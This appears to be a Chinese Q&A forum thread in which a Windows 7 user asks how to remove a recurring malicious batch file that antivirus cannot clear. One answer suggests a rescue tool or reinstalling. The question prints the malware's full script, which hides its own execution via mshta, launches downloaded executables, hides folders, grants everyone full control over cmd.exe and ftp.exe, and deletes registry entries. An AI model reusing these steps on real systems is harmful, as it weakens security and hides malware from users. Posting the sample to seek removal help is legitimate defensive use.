Question

总是在杀毒时发现一个C：\Windows\System32\wbem\12345.bat的恶意病毒

360描述【尝试修复】virus.bat.danger.h，删除后总是开机还是有，360清不掉
用记事本打开为
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~fs0 h",0)(window.close)&&exit
:begin
rem

@echo off
if exist C:\downs\runs.exe start C:\downs\runs.exe
if exist C:\download\runs.exe start C:\download\runs.exe
copy c:\windows\system32\cacls.exe c:\windows\help\akpls.exe /y
md C:\Progra~1\shengda
md C:\Progra~1\kugou2010
md C:\download
taskkill /f /im unins000.exe
del C:\Progra~1\kugou2010\unins000.exe
taskkill /f /im my.exe
del C:\Progra~1\mainsoft\my.exe
taskkill /f /im load.exe
del C:\Progra~1\kugou2010\loads.exe
taskkill /f /im rungames.exe
del C:\Progra~1\kugou2010\rungames.exe
attrib +s +h C:\Progra~1\shengda
attrib +s +h C:\Progra~1\kugou2010
attrib +s +h C:\download
cacls cmd.exe /e /g system:f
cacls cmd.exe /e /g everyone:f
cacls ftp.exe /e /g system:f
cacls ftp.exe /e /g everyone:f
cacls c:\windows\help\akpls.exe /e /g system:f
cacls c:\windows\help\akpls.exe /e /g everyone:f
cacls c:\downs /e /g everyone:f
cacls C:\Progra~1\4km2 /e /g everyone:f
cacls C:\Progra~1\3km2 /e /g everyone:f
cacls C:\Progra~1\Common~1\System\ado\msado15.dll /e /g system:f
cacls C:\Progra~1\Common~1\System\ado\msado15.dll /e /g everyone:f
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v BGClient /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v shell /f
del c:\windows\system32\wbem\se.bat
del c:\windows\system32\wbem\12345.bat
del %0
我是win7旗舰版系统，应该如何处理，尽量不重装系统吧。谢谢大神

Answer 1

你可以下个360急救箱进入安全模式扫描查杀一下，看看是否行得通。如果再不行的话，那就要重做系统，如果问题依旧存在，那就请格式化你的硬盘，再重做系统。

追问

360急救箱也是行不通的，搜索这个文件网络上也有删除方法，但方法中提到的文件我的电脑里都没有